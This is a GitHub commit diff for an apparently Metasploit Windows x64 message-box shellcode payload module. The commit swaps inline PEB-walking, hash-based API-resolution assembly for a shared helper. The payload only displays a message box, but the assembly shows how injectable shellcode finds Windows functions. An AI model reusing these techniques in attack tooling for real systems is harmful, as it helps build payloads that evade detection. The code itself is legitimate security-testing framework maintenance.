Skip to content

Commit 46292b8

Browse files
committed
fix(payloads): removing hardcoded block-api asm and hashes from x64 messagebox module
1 parent eb58072 commit 46292b8

File tree

1 file changed

+30
-130
lines changed

1 file changed

+30
-130
lines changed

modules/payloads/singles/windows/x64/messagebox.rb

Lines changed: 30 additions & 130 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ module MetasploitModule
99

1010
include Msf::Payload::Windows
1111
include Msf::Payload::Single
12+
include Msf::Payload::Windows::BlockApi_x64
1213

1314
def initialize(info = {})
1415
super(merge_info(info,
@@ -32,32 +33,6 @@ def initialize(info = {})
3233
)
3334
end
3435

35-
def ror(dword, arg, bits = 32)
36-
mask = (2**arg) - 1
37-
mask_bits = dword & mask
38-
return (dword >> arg) | (mask_bits << (bits - arg))
39-
end
40-
41-
def rol(dword, arg, bits = 32)
42-
return ror(dword, bits - arg, bits)
43-
end
44-
45-
def hash(msg)
46-
hash = 0
47-
msg.each_byte do |c|
48-
hash = ror(c.ord + hash, 0xd)
49-
end
50-
return hash
51-
end
52-
53-
def to_unicode(msg)
54-
return msg.encode("binary").split('').join("\x00") + "\x00\x00"
55-
end
56-
57-
def api_hash(libname, function)
58-
return (hash(to_unicode(libname.upcase)) + hash(function)) & 0xffffffff
59-
end
60-
6136
def generate(_opts = {})
6237
style = 0x00
6338
case datastore['ICON'].upcase.strip
@@ -72,134 +47,59 @@ def generate(_opts = {})
7247
style = 0x40
7348
end
7449

75-
if datastore['EXITFUNC'].upcase.strip == 'PROCESS'
76-
exitfunc_asm = %(
50+
exitfunc_asm = %Q^
7751
xor rcx,rcx
78-
mov r10d, #{api_hash('kernel32.dll', 'ExitProcess')}
52+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
7953
call rbp
80-
)
81-
elsif datastore['EXITFUNC'].upcase.strip == 'THREAD'
82-
exitfunc_asm = %(
83-
mov ebx, #{api_hash('kernel32.dll', 'ExitThread')}
84-
mov r10d, #{api_hash('kernel32.dll', 'GetVersion')}
54+
^
55+
if datastore['EXITFUNC'].upcase.strip == 'THREAD'
56+
exitfunc_asm = %Q^
57+
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}
58+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')}
8559
call rbp
8660
add rsp,0x28
8761
cmp al,0x6
8862
jl use_exitthread ; is older than Vista or Server 2003 R2?
8963
cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX
9064
jne use_exitthread
91-
mov ebx, #{api_hash('ntdll.dll', 'RtlExitUserThread')}
65+
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')}
9266
9367
use_exitthread:
9468
push 0
9569
pop rcx
9670
mov r10d,ebx
9771
call rbp
98-
)
72+
^
9973
end
100-
exitfunc = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_asm).encode_string
101-
102-
payload_asm = %(
74+
payload_asm = %Q^
10375
cld
10476
and rsp,0xfffffffffffffff0
10577
call start_main
106-
push r9
107-
push r8
108-
push rdx
109-
push rcx
110-
push rsi
111-
xor rdx,rdx
112-
mov rdx,qword ptr gs:[rdx+0x60]
113-
mov rdx,qword ptr ds:[rdx+0x18]
114-
mov rdx,qword ptr ds:[rdx+0x20]
115-
next_mod:
116-
mov rsi,qword ptr ds:[rdx+0x50]
117-
movzx rcx,word ptr ds:[rdx+0x4a]
118-
xor r9,r9
119-
loop_modname:
120-
xor rax,rax
121-
lodsb
122-
cmp al,0x61
123-
jl not_lowercase
124-
sub al,0x20
125-
not_lowercase:
126-
ror r9d,0xd
127-
add r9d,eax
128-
loop loop_modname
129-
push rdx
130-
push r9
131-
mov rdx,qword ptr ds:[rdx+0x20]
132-
mov eax,dword ptr ds:[rdx+0x3c]
133-
add rax,rdx
134-
mov eax,dword ptr ds:[rax+0x88]
135-
test rax,rax
136-
je get_next_mod1
137-
add rax,rdx
138-
push rax
139-
mov ecx,dword ptr ds:[rax+0x18]
140-
mov r8d,dword ptr ds:[rax+0x20]
141-
add r8,rdx
142-
check_has:
143-
jrcxz get_next_mod
144-
dec rcx
145-
mov esi,dword ptr ds:[r8+rcx*4]
146-
add rsi,rdx
147-
xor r9,r9
148-
loop_funcname:
149-
xor rax,rax
150-
lodsb
151-
ror r9d,0xd
152-
add r9d,eax
153-
cmp al,ah
154-
jne loop_funcname
155-
add r9,qword ptr ds:[rsp+0x8]
156-
cmp r9d,r10d
157-
jne check_has
158-
pop rax
159-
mov r8d,dword ptr ds:[rax+0x24]
160-
add r8,rdx
161-
mov cx,word ptr ds:[r8+rcx*2]
162-
mov r8d,dword ptr ds:[rax+0x1c]
163-
add r8,rdx
164-
mov eax,dword ptr ds:[r8+rcx*4]
165-
add rax,rdx
166-
pop r8
167-
pop r8
168-
pop rsi
169-
pop rcx
170-
pop rdx
171-
pop r8
172-
pop r9
173-
pop r10
174-
sub rsp,0x20
175-
push r10
176-
jmp rax
177-
get_next_mod:
178-
pop rax
179-
get_next_mod1:
180-
pop r9
181-
pop rdx
182-
mov rdx,qword ptr ds:[rdx]
183-
jmp next_mod
184-
start_main:
78+
#{asm_block_api}
79+
start_main:
18580
pop rbp
186-
lea rcx,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + datastore['TITLE'].length + 0x105}]
187-
mov r10d, #{api_hash('kernel32.dll', 'LoadLibraryA')}
81+
call get_user32
82+
db "user32.dll", 0x00
83+
get_user32:
84+
pop rcx
85+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
18886
call rbp
18987
mov r9, #{style}
190-
lea rdx,qword ptr ds:[rbp + #{exitfunc.length + 0x103}]
191-
lea r8,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + 0x104}]
88+
call get_text
89+
db "#{datastore['TEXT']}", 0x00
90+
get_text:
91+
pop rdx
92+
call get_title
93+
db "#{datastore['TITLE']}", 0x00
94+
get_title:
95+
pop r8
19296
xor rcx,rcx
193-
mov r10d, #{api_hash('user32.dll', 'MessageBoxA')}
97+
mov r10d, #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')}
19498
call rbp
195-
)
196-
99+
exitfunk:
100+
#{exitfunc_asm}
101+
^
197102
payload_data = Metasm::Shellcode.assemble(Metasm::X64.new, payload_asm).encode_string
198-
payload_data << exitfunc
199-
payload_data << datastore['TEXT'] + "\x00"
200-
payload_data << datastore['TITLE'] + "\x00"
201-
payload_data << "user32.dll" + "\x00"
202-
203103
return payload_data
204104
end
205105
end

0 commit comments

Comments
 (0)